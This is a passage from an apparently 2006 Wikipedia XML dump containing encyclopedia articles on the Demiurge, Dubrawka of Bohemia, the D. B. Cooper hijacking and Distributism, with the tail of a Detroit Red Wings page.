| align=&quot;left&quot; | [[Brendan Shanahan]] || RW || 634 || 269 || 283 || 552
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[John Ogrodnick]] || RW || 539 || 259 || 275 || 534
|}

==See also==
* [[List of Stanley Cup champions]]
* [[List of Detroit Red Wings players]]
* [[Head Coaches of the Detroit Red Wings]]
* [[Russian Five]]
* [[List of NHL players]]
* [[Victoria Cougars]]

==External links==
* [http://www.detroitredwings.com Official Site of the Detroit Red Wings]
* [http://www.letsgowings.com Lets Go Wings! Unofficial fan site]
* [http://www.drwforever.com DRWForever: The Essential Detroit Red Wings Fan Site]
* [http://www.detroithockey.net DetroitHockey.Net - The Definitive Detroit Red Wings Resource (Unofficial fan site)]

{{NHL}}

[[Category:Detroit Red Wings]]
[[Category:1926 establishments]]
[[Category:Sports in Detroit, Michigan]]
[[bg:Детройт Ред Уингс]]
[[de:Detroit Red Wings]]
[[fr:Red Wings de Detroit]]
[[hr:Detroit Red Wings]]
[[ja:デトロイト・レッドウィングス]]
[[pt:Detroit Red Wings]]
[[simple:Detroit Red Wings]]
[[sk:Detroit Red Wings]]
[[fi:Detroit Red Wings]]
[[sv:Detroit Red Wings]]</text>
    </revision>
  </page>
  <page>
    <title>Demiurge</title>
    <id>8796</id>
    <revision>
      <id>41200781</id>
      <timestamp>2006-02-25T19:15:23Z</timestamp>
      <contributor>
        <username>Tomisti</username>
        <id>348887</id>
      </contributor>
      <minor />
      <comment>[[fi:Demiurgi]]</comment>
      <text xml:space="preserve">The term '''Demiurge''' refers in some [[belief system]]s to a [[deity]] responsible for the creation of the [[physical universe]] and the physical aspect of [[humanity]]. The word derives from the ancient [[Greek language|Greek]] δημιουργός (''dēmiourgós'', latinized ''demiurgus''), generally taken to mean &quot;artisan&quot; or &quot;craftsman&quot;; literally, the word would translate as &quot;tame worker&quot; or &quot;one who domesticates&quot;. The term's components in turn derive from δήμιος &quot;official&quot; which comes from δ&amp;#8134;μος &quot;people&quot;, and έργον meaning &quot;creation&quot; or &quot;(piece of) work&quot;.  

The term occurs in a number of different religious and philosophical systems, most notably [[Platonism]] and [[Gnosticism]]. The precise nature and character of the Demiurge however varies considerably from system to system, being the benign architect of [[matter]] in some, to the personification of [[evil]] in others.  Frequently, alternative titles are used for the Demiurge in these systems, including '''Yaldabaoth''', '''[[Tetragrammaton|Yao or Iao]]''', '''Ialdabaoth''' and several other variants, such as '''Ptahil''', used in [[Mandaeanism]].

==Platonism==
[[Plato]] refers to the Demiurge frequently in the [[Socratic dialogue]] ''[[Timaeus (dialogue)|Timaeus]]'' as the entity who &quot;fashioned and shaped&quot; the material world. Plato describes the Demiurge as unreservedly benevolent and hence desirous of a world as good as possible. The world remains allegedly imperfect, however, because the Demiurge had to work on pre-existing [[chaos|chaotic]] [[matter]], which was recalcitrant to his efforts to shape it.  

The concept of a Demiurgic intervention between God and his creation is completely at odds with [[orthodoxy|orthodox]] [[Christianity|Christian]] [[theology]]. According to classical Christian theology, the creation is originally all-good and the work of a single benevolent creator. Consequently, it rejects outright the notion that [[Satan]] (or any equivalent being) could create the physical universe. As has been noted, the Platonic concept of the Demiurge contradicts this Christian [[cosmogony]], because it presupposes the ''pre-existence'' of passive, constituent matter (in a chaotic form), conflicting with the concept of an all-powerful creator who fashioned the universe out of nothingness, that is, &quot;''ex nihilo''&quot;.

==Gnosticism==
Like Plato, Gnosticism also presents a distinction between the highest, unknowable &quot;alien God&quot; and the demiurgic &quot;creator&quot; of the material. However, in contrast to Plato, several systems of Gnostic thought present the Demiurge as antagonistic to the will of the Supreme Creator: his act of creation occurs in unconscious imitation of the divine model, and thus is fundamentally flawed, or else is formed with the malevolent intention of entrapping aspects of the divine ''in'' materiality. Thus, in such systems, the Demiurge acts as a solution to the [[problem of evil]]. In the [[Apocryphon of John]] (several versions of which are found in the [[Nag Hammadi library]]), the Demiurge has the name &quot;Yaltabaoth&quot;, and proclaims himself as God: 

:''&quot;Now the [[archon]] who is weak has three names. The first name is Yaltabaoth, the second is [[Saklas]], and the third is [[Samael]]. And he is impious in his arrogance which is in him. For he said, 'I am God and there is no other God beside me,' for he is ignorant of his strength, the place from which he had come.&quot;''

&quot;Yaldabaoth&quot; literally means &quot;Child, come here&quot; in a [[Semitic]] language.  For example, the [[Hebrew language|Hebrew]] word for &quot;child&quot; is &quot;yeled&quot;, and for &quot;go&quot; is &quot;bo&quot;. Thus, most probably &quot;yalda&quot; and &quot;baoth&quot; are declensions of &quot;child&quot; and &quot;go&quot;, together meaning &quot;child, come hither&quot; (the language's identification as Hebrew itself is doubtful).  

[[Gnostic]] myth recounts that [[Sophia (gnosticism)|Sophia]] (Greek, literally meaning &quot;wisdom&quot;), the Demiurge's mother and a partial aspect of the divine [[Pleroma]] or &quot;Fullness&quot;, desired to create something apart from the divine totality, and without the receipt of divine assent. In this abortive act of separate creation, she gave birth to the monstrous Demiurge and, being ashamed of her deed, she wrapped him in a cloud and created a throne for him within it. The Demiurge, isolated, did not behold his mother, nor anyone else, and thus concluded that only he himself existed, being ignorant of the superior levels of reality that were his birth-place. 

The Gnostic myths describing these events are full of intricate nuances portraying the declination of aspects of the divine into human form; this process occurs through the agency of the Demiurge who, having stolen a portion of power from his mother, sets about a work of creation in unconscious imitation of the superior Pleromatic realm.  Thus Sophia's power becomes enclosed within the material forms of humanity, themselves entrapped within the material universe: the goal of Gnostic movements was typically the awakening of this spark, which permitted a return by the subject to the superior, non-material realities which were its primal source. (See [[Sethian|Sethian Gnosticism]].)

&quot;Samael&quot; may equate to the [[Judaism|Judaic]] [[Death (personification)#Death .28angels.29 in religion|Angel of Death]], and corresponds to the Christian [[demon]] of [[Samael|that name]], as well as [[Satan]]. Literally, it can mean &quot;Blind God&quot; or &quot;God of the Blind&quot; in [[Aramaic]] ([[Syriac]] ''sæmʕa-ʔel'').  Another alternative title for Yaldabaoth, &quot;Saklas&quot;, is Aramaic for &quot;fool&quot; (Syriac ''sækla'' &quot;the foolish one&quot;).

Some Gnostic philosophers (notably [[Marcion of Sinope]]) identify the Demiurge with [[Yahweh]], the [[God]] of the [[Old Testament]], in opposition and contrast to the God of the [[New Testament]]. Still others equated the being with [[Satan]]. [[Catharism]] apparently inherited their idea of Satan as the creator of the evil world directly or indirectly from Gnosticism.

The Gnostic conception of the Demiurge was apparently criticised by the Neoplatonist philosopher [[Plotinus]].  The nine tractate of the second of the [[Enneads]] - the works of Plotinus compiled and edited by [[Porphyry (philosopher)|Porphyry]], his successor - is titled  &quot;Against Those that Affirm the Creator of the ''[[cosmos|Kosmos]]'' and the ''Kosmos'' Itself to Be Evil&quot; (generally quoted as &quot;Against the Gnostics&quot;). Therein, Plotinus criticises his opponents for their appropriation of ideas from Plato:

:From Plato come their punishments, their rivers of the underworld and the changing from body to body; as for the plurality they assert in the Intellectual Realm- the Authentic Existent, the Intellectual-Principle, ''the Second Creator and the Soul'' - all this is taken over from the Timaeus.  (Ennead 2.9.vi; emphasis added)

Of note here is the remark concerning the second Creator and Soul.  Plotinus criticises his opponents for &quot;all the
novelties through which they seek to establish a philosophy of their own&quot; which, he declares, &quot;have been picked up outside of the truth&quot;; they attempt to conceal rather than admit their indebtedness to ancient philosophy, the which they have corrupted by their extraneous and misguided embellishments.  Thus their understanding of the Demiurge is similarly flawed in comparison to Plato's original intentions.

The majority view tends to understand Plotinus' opponents as being a Gnostic sect - certainly, several such groups were present in [[Alexandria]] and elsewhere about the [[Mediterranean]] during Plotinus' lifetime, and several of his criticisms bear distinct similarity to Gnostic doctrine (the doctrine of Sophia and her emission of the Demiurge is most notable amongst these similarities).  Scholars of note who have held this view include [[A.H. Armstrong]], who published a highly influential translation of the ''Enneads'' in [[1966]], through the [[Harvard University]] Press.  However, other scholars, such as [[Christos Evangeliou]], have contended that Plotinus' opponents might be better described as simply &quot;early Christian&quot;, for the reason that several of Plotinus' criticisms are as applicable to orthodox Christian doctrine as they are to Gnosticism.  Thus, though the former understanding certainly enjoys the greatest popularity, the identification of Plotinus' opponents as Gnostic is not without contention.

==Comparisons==
===Cerinthus===
According to the doctrine of [[Cerinthus]] (who shows [[Ebionite]] influence), the ancient Hebrew term [[Elohim]] (the &quot;uni-plural name&quot;, often used for God througout [[Genesis]] 1, can be interpreted as indicating that a hierarchy of ancient spirits (&quot;[[angels]] or gods&quot;) were co-creators with a Supreme Being, and were partially responsible for creation within the context of a &quot;master plan&quot; exemplified theologically by the Greek word [[Logos|Lōgos]]. [[Psalm]] 82.1 describes a plurality of gods (''ʔelōhim''), which an older version in the [[Septuagint]] calls the &quot;assembly of the gods&quot;; however, it does not indicate that these gods were co-actors in creation.  Also according to this theory, an abstract similarity can be found between the Logos (as applied to Jesus in the [[Gospel of John|Gospel according to St John]]) and Plato's Demiurge. However, in John 1:1, which reads: &quot;in the beginning was the [[Logos|Word]] (''lōgos''), and the Word was with God and the Word was God,&quot; the Logos is clearly one single being, not an assembly or group.  Further, typical Christian theology identifies Jesus as the second person in the holy and undivided [[Trinity]], thus rejecting the notion that the world was created by an ignorant or even malevolent demiurge (&quot;uni-plural&quot; or not) in co-action with a separate, higher and unknowable god.

===Iamblicus===
The figure of the Demiurge also emerges in the theoretic of [[Iamblichus of Chalcis|Iamblichus]], in which it acts as a conjunction between the transcendent, incommunicable &quot;One&quot; that resides at the summit of his system, and the material realm.  

The initial [[dyad]] that Iamblicus describes consists of the One, a [[monad]] whose first principle is intellect (&quot;''nous''&quot;); between this monad and &quot;the many&quot; that follow it, Iamblicus posited a second, superexistent &quot;One&quot; that is the producer of intellect or soul (&quot;''psyche''&quot;), completing the dyad mentioned above.  The former and superior &quot;One&quot; is further distinguished by Iamblicus into the spheres of the intelligible and the intellective; the latter sphere is the domain of thought, while the former comprises the objects of thought.  Thus, a [[triad]] is formed of the intelligible ''nous'', the intellective ''nous'', and the ''psyche''.

Of this intellectual triad Iamblicus assigned the third rank to the Demiurge. The figure is thus identified with the perfected ''nous'', the intellectual triad being increased to a ''[[hebdomad]]''. As in the theoretic of Plotinus, ''nous'' produces nature by the mediation of the intellect, so here the intelligible gods are followed by a triad of psychic gods.

===Vedic tradition===
Within the [[Hinduism|Hindu]] Vedic tradition, [[Brahma]], a member of the [[Trimurti]], is a secondary creator of the universe. According to [[Purana]]s he is &quot;self-born&quot; (without [[mother]]) in the [[nelumbo|lotus]] which grows from the navel of [[Vishnu]] at the beginning of the universe. He is surrounded by darkness and tries unsuccessfully to find out about the origin of the lotus. Then he hears the syllables ''ta-pa'' and starts to perform [[asceticism]] and becomes empowered by [[Vishnu]] for creation.

===Siberian Shamanism===
In the [[shaman|shamanic]] religion of the ancient [[Turkic peoples|Turks]] and other [[Siberia|Siberian]] nomads, [[Bai-Ulgan]] was the force behind creation. Inasmuch as Siberian shamanism may be said to parallel Gnostic cosmological beliefs, Bai-Ulgan has been compared to the Demiurge.

==References==
* [http://www.gnosis.org/naghamm/nhl.htm The Nag Hammadi Library] (see [[Nag Hammadi]])

==See also==

* [[Archon]]
* [[Brahma]]
* [[Bythos]]
* [[Christian anarchism]]
* [[Gnosticism]]
* [[Johannite]]
* [[Mandaean]]
* [[Platonism]]
* [[Sethian|Sethianism]]
* [[Tetragrammaton|YhWh]]
* [[Timaeus]]
* [[Urizen]]
* [[Yaw (god)|Yaw]]

[[Category:Creator deities]]
[[Category:Gnostic deities]]
[[Category:Platonic deities]]
[[Category:Dualistic Gods]]
[[Category:Gnosticism]]

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[[ru:Демиург]]
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    <title>Defenestration of Prague</title>
    <id>8797</id>
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        <username>David Parker</username>
        <id>42</id>
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  </page>
  <page>
    <title>Dubrawka</title>
    <id>8798</id>
    <revision>
      <id>40600490</id>
      <timestamp>2006-02-21T19:15:12Z</timestamp>
      <contributor>
        <ip>212.16.1.121</ip>
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      <text xml:space="preserve">[[Image:Dabrowka.jpg|250px|right|thumb|Dubrawka, by [[Jan Matejko]]]]
'''Dubrawka''' of [[Bohemia]] ([[Czech language|Czech]], ''Doubravka''; [[Polish language|Polish]], ''Dobrawa'' or ''Dąbrówka'';  born ''circa'' [[925]]/[[931]], died [[977]]) was the daughter of Duke [[Boleslav I]] of [[Bohemia]] and of Adiva of England. Adiva was a daughter of King [[Edward the Elder]] of England. 

Dubrawka was first married to Günther von Merseburg. They had a son named Ekkehard I. [[Margrave]] Ekkehard I of Meissen, Duke of [[Thuringia]], married Suanehild [[Billung]] and their son, Margrave Hermann of Meissen, married Regelinda (or Reginlindis), a daughter of Boleslaus (or [[Boleslaw I Chrobry]]).

After Günther von Merseburg's death, his widow Dubrawka married [[Mieszko I]] in [[965]].

'''FATHER''': [[Boleslaus I]] the Cruel

'''SIBLINGS''': [[Boleslaus II the Pious]], Mlada (Maria) and Strakhkvas (Christian).

'''HUSBAND''': [[Mieszko I]]

'''CHILDREN''': [[Boleslaus I of Poland]], [[Vladivoj]] and Świętosława.

[[Category:920s births]]
[[Category:930s births]]
[[Category:977 deaths]]
[[Category:Polish queens consort]]

[[de:Dubrawka von Böhmen]]
[[fr:Dubravka]]
[[no:Dubrawka]]
[[pl:Dobrawa Przemyślidka]]
[[ru:Дубравка]]</text>
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  <page>
    <title>D. B. Cooper</title>
    <id>8799</id>
    <revision>
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      <timestamp>2006-03-02T17:08:25Z</timestamp>
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      <minor />
      <comment>Robot-assisted fix of link to disambiguation page ([[WP:DPL|you can help!]]) Series</comment>
      <text xml:space="preserve">[[Image:DBCooper.jpg|right|frame|A 1972 FBI composite drawing of D. B. Cooper]]

'''D. B. Cooper''', aka '''Dan Cooper''', was a notorious [[airplane]] [[hijacker]] who in 1971, after receiving a ransom payout of $200,000, leapt from the back of a [[Boeing 727]] as it was flying over the [[Pacific Northwest]].  No conclusive evidence has ever surfaced regarding Cooper's whereabouts, and several theories offer competing explanations of what happened after his famed jump.  The only clues to have turned up in the case are ambiguous:  around $5,000 that washed up on the banks of the [[Columbia River]], and part of a sign believed to be from the rear stairway of the plane from which Cooper jumped.  The nature of Cooper's escape and the uncertainty of his fate continue to intrigue people. Today, the Cooper case remains the world's only unsolved [[skyjacking]].

==The hijacking==
[[Image:Dbc.jpg|right|frame|FBI sketch of DB Cooper age progression]]

At 16:35 on [[Thanksgiving]] Eve, [[November 24]], [[1971]] in the [[United States]], a man travelling under the name '''Dan Cooper''' hijacked a [[Northwest Orient Airlines]] [[Boeing 727|Boeing 727-051]], flight 305, flying from [[Portland International Airport]] ([[IATA airport code|PDX]]) in [[Portland, Oregon]], with the threat of a bomb (he had a briefcase containing wires and &quot;red sticks&quot;). 
Dan Cooper boarded the plane of only 36 passengers and 6 crew. He wore a black raincoat, loafers, a dark business suit, a neatly pressed white shirt, a narrow black tie and a pearl stickpin. He also had black wrap-around sunglasses.

[[Image:DB Cooper Wanted Poster 2.jpg|thumb|left|frame|FBI wanted poster of D.B. Cooper]]
The jet was barely in the air before he paged his flight attendant, Florence Schaffner, sitting nearby, for his drinks. As he paid her, he also handed her a note. She thought he was giving her his phone number, so she slipped it, unopened, into her pocket. Cooper leaned closer, &quot;Miss, you'd better look at that note. I have a bomb.&quot; In the envelope was a note that said, &quot;I have a bomb in my briefcase. I will use it if necessary. I want you to sit next to me. You are being hijacked.&quot;

When the flight attendant informed the cockpit about Cooper and the note, one of the skeptical pilots went to the back of the plane and sat down next to Dan Cooper. He asked, &quot;So what's all this about a bomb?&quot; Dan Cooper opened his case a crack and closed it again, long enough for the pilot to see red cylinders and wires.  The pilot returned to the cockpit and the crew informed authorities on the ground of the situation, and were told to cooperate with the hijacker.

When the plane landed at [[Seattle-Tacoma International Airport]] near [[Seattle, Washington]] at 17:45, its intended destination, he released the passengers in exchange for $200,000 and four [[parachute]]s.  At 19:45 he had the flight crew take the plane back into the air, ordering them to fly towards [[Mexico]] at low speed and altitude with the landing gear down and 15 degrees of flap. At some point during the journey he jumped out of the rear stairway of the airplane with the money and parachutes. The [[FBI]] believed his descent was at 20:11 over southwest [[Washington]], because the rear stairway &quot;bumped&quot; at that time. Due to poor visibility, his descent went unnoticed by the [[United States Air Force]] [[F-106]] [[jet fighter]]s tracking the airliner. He was believed to have landed southeast of the town of Ariel by the edge of [[Lake Merwin]], 30 miles north of Portland, Oregon. 

Despite an eighteen-day search of the projected landing zone, no trace of the man or his parachute was ever found, and it remains unknown whether he survived the escape. On [[February 13]], [[1980]], $5,800 (in bundles of $20 bills) of the ransom money was found by a family on a picnic five miles northwest of [[Vancouver, Washington]] on the banks of the Columbia River.

The FBI questioned and then released a man by the name of D.B Cooper, who was never considered a significant suspect. Due to a miscommunication with the media, however, the initials &quot;D. B.&quot; became firmly associated with the hijacker and this is how he is now known.

Following three similar (but less successful) hijackings in [[1972]], the [[Federal Aviation Administration]] required that all Boeing 727 aircraft be fitted with a device known as the &quot;[[Cooper Vane]]&quot;, a mechanical aerodynamic wedge that prevents the rear stairway from being lowered in flight.

==Suspects==
[[Image:DBCooper article.jpg|200 px|right|thumb|The Salt Lake Tribune's article about the 1972 capture of Richard McCoy]]
===Richard McCoy, Jr.===

One of the 1972 hijackings was carried out by Richard McCoy, Jr. On [[April 7]], [[1972]], four months after D. B. Cooper's hijacking, McCoy boarded United Flight 855 during a stopover in Denver. It was a Boeing 727 with aft stairs, the same type used in the Cooper incident, which McCoy used to escape after giving the crew the same type of instructions as Dan Cooper.

Police started to investigate McCoy after a tip. He was a married former [[Mormon]] [[Sunday school]] teacher with two young children who was studying law enforcement at [[Brigham Young University]]. He was also a [[Vietnam War|Vietnam]] veteran, a former [[Green Berets|Green Beret]] [[helicopter]] [[Aviator|pilot]], and an avid [[skydiving|skydiver]]. 

Following a [[fingerprint]] and handwriting match, McCoy was arrested two days after the hijacking. Inside his house FBI agents found a [[jumpsuit]] and a duffel bag filled with cash totalling $499,970. McCoy claimed innocence, but was convicted and received a 45-year sentence.

Once incarcerated, using his access to the prison's dental office, McCoy fashioned a fake handgun out of dental paste. He and a crew of convicts escaped in August [[1974]] by stealing a [[garbage truck]] and crashing it though the prison's main gate. It took three months for the FBI to locate McCoy, in [[Virginia]]. McCoy shot at the FBI agents and agent Nicholas O'Hara fired back with a shotgun, killing him.

''D. B. Cooper: The Real McCoy'', co-authored by an ex-FBI agent named Russell Calame, was published in [[1991]]. The book made the case that Cooper and McCoy were really the same person, citing similar methods of hijacking and a tie left by Cooper similar to those worn by Brigham Young students. The author said that McCoy &quot;never admitted nor denied he was Cooper.&quot; And when McCoy was directly asked whether he was Cooper he replied &quot;I don't want to talk to you about it.&quot; The agent who killed McCoy is quoted as saying, &quot;When I shot Richard McCoy, I shot D. B. Cooper at the same time.&quot; The widow of Richard McCoy, Karen Burns McCoy, sued and won a settlement from both the book's coauthors and its publisher.

===Duane Weber===
[[Image:duane_weber.jpg|left|frame|Duane Weber photograph, taken years after D.B. Cooper's hijacking]]
In August [[2000]], ''[[U.S. News and World Report]]'' ran an article about a widow in [[Pace, Florida]] named Jo Weber and her claim that her late husband, Duane Weber, had told her &quot;I'm Dan Cooper&quot; before his death in [[1995]]. She became suspicious and began checking into her late husband's background. Duane Weber had served in the Army during [[World War II]] and later had served time in a prison near the Portland airport. Mrs. Weber recalled that her husband had once had a nightmare where he talked in his sleep about jumping from a plane and said something about fingerprints on the aft stairs. She had once found an old plane ticket in his papers for Northwest Airlines that said SEA-TAC (Seattle-Tacoma Airport). She also mentioned that just before he died, Duane had revealed the cause of an old knee injury. &quot;I got it jumping out of a plane,&quot; Jo recalls him saying.
[[Image:Duane Weber.gif|right|frame|Photograph of Duane Weber next to the FBI composite drawing of D.B. Cooper]]
Mrs. Weber also recounts a 1979 vacation the couple took to Seattle, &quot;a sentimental journey,&quot; Duane told Jo Weber, with a visit to the Columbia River. She remembers how Duane oddly walked down to the banks of the Columbia by himself just four months before the portion of Cooper's cash was found in the same area.
One of the most convincing pieces of evidence Mrs. Weber related was the fact she had checked out a book on the Cooper case from the local library and saw notations in it that matched her husband's handwriting. Mrs. Weber began corresponding with FBI Agent Ralph Himmelsbach, the chief investigator of the Cooper case. Himmelsbach has said Weber is one of the best suspects he has come across. 

Although the match between the composite drawing and pictures of Duane Weber must be considered inconclusive, recently, facial recognition [[software]] was used on 3,000 photographs (including that of Weber and two other suspects) to identify him as &quot;the best match&quot; of the 3,000.

==Cultural influences==
*The community of [[Ariel, Washington|Ariel]] in [[Cowlitz County, Washington]], commemorates the incident with an annual celebration called &quot;D. B. Cooper Days.&quot;
*In 1981 an adventure [[Film|movie]] titled ''[[The Pursuit of D. B. Cooper]]'' was released starring [[Treat Williams]] as Cooper and [[Robert Duvall]] as a police officer pursuing him. It was directed by [[Roger Spottiswoode]].
*The [[television program|television series]] ''[[NewsRadio]]'' featured a [[story arc]] in which the character Jimmy James was arrested in the belief that he was D. B. Cooper. During trial, Cooper was actually found to be [[Adam West]]. Earlier in the series, James had been revealed to be [[Deep Throat (Watergate)|Deep Throat]].
* One [[The Far Side|Far Side]] comic showed a parachuting man holding a briefcase about to land in a [[Rottweiler]] pound. The caption read, &quot;What really happened to D. B. Cooper.&quot;
* In the movie ''[[Without a Paddle]]'' the friends go on a trip to find D. B. Cooper's treasure.
* Oregon-native singer/songwriter [[Todd Snider]] wrote and performs a song about the famous mystery titled &quot;D. B. Cooper.&quot; [http://launch.yahoo.com/track/1814802] [http://www.amazon.com/exec/obidos/tg/detail/-/B00004RJ5M/] [http://www.amazon.com/exec/obidos/tg/detail/-/B0000950X6/qid=1112026596/sr=8-2/]
* Rap/Rock Artist [[Kid Rock]] refers to &quot;D. B. Cooper and the money he took&quot; in his [[1998]] song &quot;Bawitdaba.&quot;
* Underground hip-hopper [[MF Doom]] likens himself to D. B. Cooper in the song &quot;Hoe Cakes&quot;, off the 'MM..Food' LP ([[2005]]) : &quot;Average MCs is like a T.V. blooper. MF Doom, he's like D.B. Cooper - out with the moolah&quot;.
* A character in the [[Fox Broadcasting Company|Fox]] television program ''[[Prison Break]]'' was suspected by his fellow inmates to be D. B. Cooper. After repeatedly denying it throughout the season, the character admitted that he was, in fact, D. B. Cooper.  He proved it by showing a dollar bill with the same serial number used for the ransom payment.
* [[Elwood Reid]] published a novel in 2004 titled ''[[D. B.]]'' In Reid's version, D. B. Cooper is a Vietnam vet named Fitch.
* D. B. Cooper's story almost certainly inspired the circumstances that the main protagonist finds himself in at the beginning and end of the [[Chuck Palahniuk]] novel ''[[Survivor (novel)|Survivor]]''.
* David Lynch's [[Twin Peaks]] FBI protagonist, Special Agent [[Dale Cooper]], shares the initials of the skyjacker, his full name being &quot;Dale Bartholomew Cooper.&quot;
* [[Roger McGuinn]]'s self-titled 1973 solo album contains the song &quot;Bag Full of Money&quot; refering to Cooper's hijacking:  &quot;In the course of Korea  I learned how to jump, In the card game of  life I was  holding a trump, -- Floating I'm floating on down thru the sky, Never had no ambition to learn how to fly, Be glad when it's over be happy to land, With this bag full of money I've got in my hands&quot;
* In the late 1980s an American TV series named [[Unsolved Mysteries]]  ran a segment specuating on Dan Cooper and came to the conclusion the drawing the FBI made was wrong and they had the face redrawn. They concluded it was probably McCoy.

==External links==
*[http://www.crimelibrary.com/criminal_mind/scams/DB_Cooper/ Crime Library: D. B. Cooper]
*[http://www.rotten.com/library/crime/unsolved-crimes/d-b-cooper/ Rotten Library: D. B. Cooper]
*[http://www.dbcooper.info DBCooper.Info]

[[Category:Hijackers|Cooper, D. B.]]
[[Category:Disappeared people|Cooper, D. B.]]
[[Category:Unsolved crimes|Cooper, D. B.]]
[[Category:Mysterious people|Cooper, D. B.]]
[[Category:American criminals|Cooper, D. B.]]
[[Category:1971|Cooper, D. B.]]

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  <page>
    <title>Distributism</title>
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      <contributor>
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      <comment>/* War */</comment>
      <text xml:space="preserve">[[Image:Ontario_farm.jpg|right|thumb]]
'''Distributism''', also known as '''distributionism''' and '''distributivism''', is a [[third-way]] [[economics|economic]] philosophy formulated by such [[Catholic]] thinkers as [[G. K. Chesterton]] and [[Hilaire Belloc]] to apply the principles of social justice theoretically articulated by the [[Roman Catholic Church]].  According to distributism, the ownership of the means of production should be spread as widely as possible among the populace, rather than being centralized under the control of a few state bureaucrats (some forms of [[socialism]]) or a minority of resource-commanding individuals ([[capitalism]]).  A summary of distributism is found in Chesterton's statement:  &quot;Too much capitalism does not mean too many capitalists, but too few capitalists&quot; (&quot;The Uses of Diversity&quot;, 1921).

Distributism has often been described as a [[third way]] of economic order besides socialism and capitalism.  However, some people see it more as an aspiration, which has been successfully realised in the short term by commitment to the principles of [[subsidiarity]] and [[solidarity]] (these being built into financially independent local [[co-operative]]s). However, the elimination therein of [[usury]] and similar percentage-based [[profiteering]] in [[trade]] is still in the process of being theoretically justified (in terms of the [[laws of circulation]]), and legally generalised (by restatement of business aims in [[corporate law|company]] and [[banking law]]).

==History==
While the papal encyclicals were a starting point, Belloc and Chesterton based much of their suggestions of what to change today by analyzing what worked in medieval times before the development of the capitalist philosophy as first articluated by [[Jean Quidort]] (d. 1306) in the theory of ''[[homo economicus]]'' in ''[[De potestate regia et papali]].''

The articulation of Distributist ideas was based on 19th and 20th century [[Pope|Papal]] teachings, beginning with [[Pope Leo XIII]]'s ''[[Rerum Novarum]]''.  In [[1930s]] [[United States|America]], distributism was treated in numerous essays by Chesterton, Belloc and others in ''[[The American Review]]'', published and edited by [[Seward Collins]]. 

Distributist thought was later adopted by the [[Catholic Worker]] movement, conjoining it with the thought of [[Dorothy Day]] and [[Peter Maurin]] concerning localized and independent communities. It also influenced the thought behind the Antigonish Movement, which implemented co-operatives and other measures to aid the poor in the Canadian Maritimes. Its practical implementation in the form of local co-operatives has recently been documented by [[Race Mathews]] in [[Jobs of Our Own]].

==Economic theory==
===Private property===
Under such a system, most people would be able to earn a living without having to rely on the use of the property of others to do so. Examples of people earning a living in this way would be [[farmers]] who own their own land and related machinery, [[plumbers]] who own their own tools, software developers who own their own computer, etc.  The &quot;[[co-operative]]&quot; approach advances beyond this individualist perspective to recognise that such property and equipment may be &quot;co-owned&quot; by local communities larger than a family, e.g. partners in a business.

===Guild system=== 

The kind of economic order envisioned by the early distributist thinkers would involve the return to some sort of [[guild]] system. The present existence of [[labor unions]] does not constitute a realization of this facet of distributist economic order, as labour unions are organized along [[Social class|class]] lines to promote class interests, whereas Guilds are mixed class syndicates comprised of both employers and employees cooperating for mutual benefit.

===Banks===
Distributism favors the elimination of the current private [[bank]] system, or in any case, its profit-making basis.  This does not necessarily mean Nationalization.  It does mean  Governments accepting their responsibility for ensuring justice, especially in the monetary system.

==Social theory==
The pioneers of the distributist movement wrote before the Information Era; their Christian roots, however, were in the theory of the Word of God.  A forthcoming Distributist research program aims to examine the theoretical implications of linguistic communication capability being the specifically human basis of society, rather than power relationships or specific institutions.  Just as electrical theory is the basis for the theory of operation of specific electronic systems, so technical communication theory as it has developed is envisaged as the basic theory of operation of specific social systems. C.f. [[sociology]].

===The human family===
Distributism sees the trinitarian human [[family]] of one [[male]], one [[female]] and their [[children]] as the central and primary social unit of human ordering and the principle unit of a functioning distributist society and civilization. This unit is however the basis of a multi-generational extended family, which is embedded in socially as well as genetically inter-related communities, nations etc and ultimately in the whole human family past, present and to come.  The economic system of a society should therefore be focussed primarily on the flourishing of the family unit, but not in isolation: at the appropriate level of family context, as is intended in the principle of 'subsidiarity'.

===Society of artisans===
Distributism promotes a society of [[artisans]] and culture. This is influenced by an emphasis on small business, promotion of local culture, and favoring of small production over capitalistic [[mass production]]. A society of artisans promotes the distributist ideal of the unification of capital, ownership, and production rather than what distributism sees as an alienation of man from work.

===Social security=== 

Distributism favors the elimination of [[social security]] on the basis that it further alienates man by making him more dependent on the Servile State. Distributists such as Dorothy Day did not favor social security when it was introduced by the United States government. This rejection of this new program was due to the direct influence of the ideas of Hilaire Belloc over American distributists.

It does not follow that social security as it exists now should be simply eliminated: that is a fallacy (or cynical mis-use) of naive &quot;either-or&quot; logic.  Social security will remain necessary just so long as people have no other means of acquiring a livelihood.  Study of time-based logic has suggested an alternative solution.  If everyone is paid ''before'' they work, they thus owe a fair share of what work they can do which they can see needs doing (rather than an employer owing [token] money just to those who have done work that he has prescribed).  Critics argue that in fact this removes the incentive for work from the worker, and as history has proven, severely compromises his efficiency and dedication to the job.  If the wages (including trader's incomes and, elsewhere, investment finances) take the form of interest-free loans, the money will be repaid for recirculation simply by its return to the bank when it is spent.  Most people would want to continue earning it in the usual way, but those not so working would be expected by their local community to be doing a sufficient share of other necessary or worthwhile work: child-rearing, education, artistic creation, appropriate recreation etc., or voluntary work in the community or natural environment.  Business would no longer be for monetary profit, but to create real benefits for the community.  Crime would no longer be attractive as a way of acquiring a livelihood.  In short, everyone would benefit from real social security without any need for demeaning and inadequate state-run monetary &quot;social security&quot;.

== Geopolitical theory==
===Political order===
Distributism does not favor one set of political order over another, whether it be from [[democracy]] to [[monarchism]]. Distributism does not necessarily support [[anarchism]], though some distributists, such as Dorothy Day, were also anarchists. Distributism does not support political orders that go towards extremes of [[individualism]] or [[statism]].

===Political parties===
Distributism does not attach itself to one national [[political party]] or another in any part of the world. There are some modern political parties in [[England]] which espouse distributist views.

===War===
Distributists usually use [[Just War Theory]] in determining whether a war should be fought or not. Historical positions of distributist thinkers provides insight into a distributist position on war. Both Belloc and Chesterton opposed British imperialism in general, as well as specifically opposing the [[Second Boer War]]. Cecil Chesterton fought in [[World War I]] during which G.K. Chesterton worked as a propagandist for the British government.

The [[Catholic Worker Movement]], which abides by distributist principles (esspecially in its several farming communities, which are meant to &quot;train&quot; families for self-subsistance), opposes all war. There are some that would suggest that such an extreme [[Pacifism]], however, is incompatible with the teachings of the Catholic Church articulated in the Catechism of the Catholic Church, among other documents.

==Influence==
===E.F. Schumacher===
Distributism is known to have had an influence on the economist [[E.F. Schumacher]], a convert to Catholicism.

===Mondragón Cooperative Corporation===
